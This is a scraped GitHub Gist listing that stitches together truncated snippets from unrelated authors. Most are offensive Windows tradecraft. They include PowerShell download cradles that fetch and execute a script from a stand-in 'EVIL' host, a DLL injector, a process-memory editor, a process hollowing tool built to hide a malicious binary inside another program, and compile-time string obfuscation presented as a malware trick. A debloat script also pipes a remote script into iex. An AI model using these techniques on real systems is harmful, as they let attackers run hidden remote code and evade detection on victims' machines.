Skip to content

Instantly share code, notes, and snippets.

@HarmJ0y
HarmJ0y / DownloadCradles.ps1
Last active July 8, 2025 20:20
Download Cradles
# normal download cradle
IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1")
# PowerShell 3.0+
IEX (iwr 'http://EVIL/evil.ps1')
# hidden IE com object
$ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r
# Msxml2.XMLHTTP COM object
using System;
using System.ComponentModel;
using System.Diagnostics;
using System.Diagnostics.Contracts;
using System.IO;
using System.Runtime.InteropServices;
/// <summary>
/// Dll Injector
/// Made by BahNahNah
@yalayabeeb
yalayabeeb / Memory.cs
Last active October 21, 2018 14:11
A class to read/write mainly integers to a process's memory address.
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
public class Memory
{
#region WinAPI
[DllImport("kernel32.dll")]
private static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);
@yalayabeeb
yalayabeeb / Resource.cs
Created December 23, 2015 13:09
A simple to use class to write data as a resource to a file.
using System;
using System.Reflection;
using System.Resources;
using System.Runtime.InteropServices;
public static class Resource
{
#region WinAPI
[DllImport("kernel32.dll", SetLastError = true)]
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Runtime.InteropServices;
using System.IO;
@gubed
gubed / SecureRandom.cs
Last active September 8, 2018 15:43
A secure alternative to System.Random
class SecureRandom : RandomNumberGenerator
{
private readonly RandomNumberGenerator rng;
public SecureRandom()
{
this.rng = new RNGCryptoServiceProvider();
}
public int Next()
{
@gubed
gubed / SecureRandom.vb
Last active September 8, 2018 15:43
A secure alternative to System.Random
Public Class SecureRandom : Inherits Security.Cryptography.RandomNumberGenerator
Private ReadOnly rng As New Security.Cryptography.RNGCryptoServiceProvider()
Private Function GetRandomBytes() As Byte()
Dim data As Byte() = New Byte(4 - 1) {}
rng.GetBytes(data)
Return data
End Function
@alirobe
alirobe / reclaimWindows10.ps1
Last active June 10, 2025 00:59
This Windows 10 Setup Script turns off a bunch of unnecessary Windows 10 telemetery, bloatware, & privacy things. Not guaranteed to catch everything. Review and tweak before running. Reboot after running. Scripts for reversing are included and commented. Fork of https://github.com/Disassembler0/Win10-Initial-Setup-Script (different defaults). N.…
###
###
### UPDATE: For Win 11, I recommend using this tool in place of this script:
### https://christitus.com/windows-tool/
### https://github.com/ChrisTitusTech/winutil
### https://www.youtube.com/watch?v=6UQZ5oQg8XA
### iwr -useb https://christitus.com/win | iex
###
### OR take a look at
### https://github.com/HotCakeX/Harden-Windows-Security
@hugsy
hugsy / ProcessHollower.c
Created April 25, 2016 11:00
ProcessHollower: Hide a executable inside the runtime of another one
/**
*
* ProcessHollower: Hide a executable inside the runtime of another one
*
* Compile with
* C:> cl.exe ProcessHollower.c
*
* Execute with:
* C:> ProcessHollower.exe notepad.exe myevilbinary.exe
*
@mattypiper
mattypiper / stringobf-cpp11.cpp
Last active September 28, 2021 09:29
compile time string obfuscation
// http://www.rohitab.com/discuss/topic/39611-malware-related-compile-time-hacks-with-c11/
#include <stdio.h>
#include <stdint.h>
//-------------------------------------------------------------//
// "Malware related compile-time hacks with C++11" by LeFF //
// You can use this code however you like, I just don't really //
// give a shit, but if you feel some respect for me, please //
// don't cut off this comment when copy-pasting... ;-) //